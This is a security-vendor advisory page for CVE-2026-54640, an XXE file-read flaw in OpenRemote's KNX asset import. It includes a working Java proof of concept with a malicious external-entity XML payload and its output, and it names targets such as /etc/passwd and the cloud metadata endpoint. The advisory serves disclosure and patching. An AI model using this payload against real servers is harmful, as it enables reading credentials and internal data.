Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
☕
☕ Maven
Not in CISA KEV
HIGH severity

CVE-2026-54640 — openremote-agent

HIGHFix: openremote/core@c28d3c6

CVE-2026-54640 is a high-severity (CVSS 7.6) XML External Entity (XXE) vulnerability in io.openremote:openremote-agent. A fix is available for io.openremote:openremote-agent — see the affected versions and patch details below.

OpenRemote: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory

Also known asGHSA-7v6w-c3f4-9wpq
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-54640.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs12th percentile — riskier than 12% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-54640 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
☕io.openremote:openremote-agent

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (KNXProtocol) processes user-uploaded ETS project ZIP files through Saxon XSLT and XMLInputFactory.newInstance() with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. /etc/passwd, openmrs-runtime.properties, cloud credential files).

Details

Incomplete patch

CVE-2026-40882 was fixed by introducing createSecureDocumentBuilderFactory() in AbstractVelbusProtocol.java with five XXE-blocking features. The parallel asset import handler in KNXProtocol.java was not updated and retains two unprotected XML parsing calls on the same user-controlled data.

Patched file — AbstractVelbusProtocol.java:

private DocumentBuilderFactory createSecureDocumentBuilderFactory() {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
    return factory;
}

Vulnerable file — KNXProtocol.java, lines 229–249:

// Line 229-230: reads 0.xml from user-uploaded ZIP
InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl");
String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);

// Lines 233-245: Saxon XSLT — no XXE protection on the source document
TransformerFactory tfactory = new TransformerFactoryImpl();
Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd)));
transformer.transform(
    new StreamSource(new StringReader(xml)),  // xml = 0.xml from attacker's ZIP
    new StreamResult(writer));

// Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false
try (final XmlReader r = XmlInputFactory.newInstance()
        .createXMLStreamReader(new StringReader(xml))) { ... }

Data flow

POST /api/{realm}/agent/{agentId}/import   (authenticated user, PR:L)
  → AgentResourceImpl.doProtocolAssetImport(fileData)
  → KNXProtocol.startAssetImport(byte[] fileData)
  → ZipInputStream reads 0.xml from attacker-controlled ETS ZIP
  → Saxon TransformerFactoryImpl.transform(StreamSource(0.xml))  ← XXE stage 1
  → XmlInputFactory.newInstance().createXMLStreamReader(xml)     ← XXE stage 2
  → external entity resolved → arbitrary file read

Comparison with patched code

HandlerXML parserDTD disabledStatus
AbstractVelbusProtocolDocumentBuilderFactory✅ 5 features setPatched (CVE-2026-40882)
KNXProtocolSaxon + XMLInputFactory❌ none setNot patched

PoC

No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions.

Requirements: Java 17+, Maven 3.8+

pom.xml dependency:

<dependency>
    <groupId>net.sf.saxon</groupId>
    <artifactId>Saxon-HE</artifactId>
    <version>12.9</version>
</dependency>

Exploit.java:

import net.sf.saxon.TransformerFactoryImpl;
import javax.xml.stream.*;
import javax.xml.transform.*;
import javax.xml.transform.stream.*;
import java.io.*;
import java.nio.file.*;

public class Exploit {
    public static void main(String[] args) throws Exception {

        // Sentinel file — proves arbitrary file read
        Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt");
        String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis();
        Files.writeString(sentinel, tag);

        String maliciousXml =
            "<?xml version=\"1.0\"?>\n" +
            "<!DOCTYPE root [\n" +
            "  <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" +
            "]>\n" +
            "<root><data>&xxe;</data></root>";

        // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config)
        XMLInputFactory factory = XMLInputFactory.newInstance();
        XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));
        StringBuilder sb = new StringBuilder();
        while (reader.hasNext()) {
            int e = reader.next();
            if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());
        }
        System.out.println("Stage A result: " + sb.toString().trim());

        // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)
        String xsl = "<?xml version=\"1.0\"?>" +
            "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" +
            "<xsl:output method=\"text\"/>" +
            "<xsl:template match=\"/\"><xsl:value-of select=\"root/data\"/></xsl:template>" +
            "</xsl:stylesheet>";
        TransformerFactory tf = new TransformerFactoryImpl();
        StringWriter writer = new StringWriter();
        tf.newTransformer(new StreamSource(new StringReader(xsl)))
          .transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));
        System.out.println("Stage B result: " + writer.toString().trim());

        Files.deleteIfExists(sentinel);
    }
}

Build and run:

mvn clean package -q
java -jar target/openremote-xxe-1.0.jar

Verified output (JDK 21, Linux):

Stage A result: OPENREMOTE_KNX_XXE_1780611779589
Stage B result: OPENREMOTE_KNX_XXE_1780611779589

Both stages print the sentinel file's contents, confirming that an external entity referencing a local file is resolved without restriction.

Impact

Vulnerability type: XML External Entity (XXE) injection leading to arbitrary file read and potential server-side request forgery (SSRF).

Who is impacted: Any OpenRemote deployment that exposes the Manager API to authenticated users. The import endpoint requires only a valid session (PR:L), not administrator access. An attacker with a regular account in any realm can exploit this to read files accessible to the JVM process user, including:

  • /etc/passwd — user enumeration
  • Application configuration files containing database credentials or API keys
  • Cloud provider metadata endpoints via SSRF (http://169.254.169.254/...)
  • Internal service endpoints reachable from the server

The vulnerability is present in KNXProtocol, a built-in protocol handler shipped with every OpenRemote installation that includes the agent module. No special configuration is required to be exposed to this attack.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
☕Mavenio.openremote:openremote-agentall versions1.24.2io.openremote:openremote-agent:1.24.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.openremote:openremote-agent, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update io.openremote:openremote-agent to 1.24.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-54640 is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

### Summary The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (`KNXProtocol`) processes user-uploaded ETS project ZIP files through Saxon XSLT and `XMLInputFactory.newInstance()` with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. `/etc/passwd`, `openmrs-runtime.properties`, cloud credential files). ### Details ### Incomplete patch CVE-2026-40882 was fixed by introducing `createSecureDocumentBuilderFactory()` in `AbstractVelbusProtocol.java` with five XXE-blocking features. The
O3 Security · Impact-Aware SCA

Is CVE-2026-54640 in your dependencies?

Find it across Maven, including transitive dependencies.

CVE-2026-54640: openremote-agent SSRF — Fixed in 1.24.2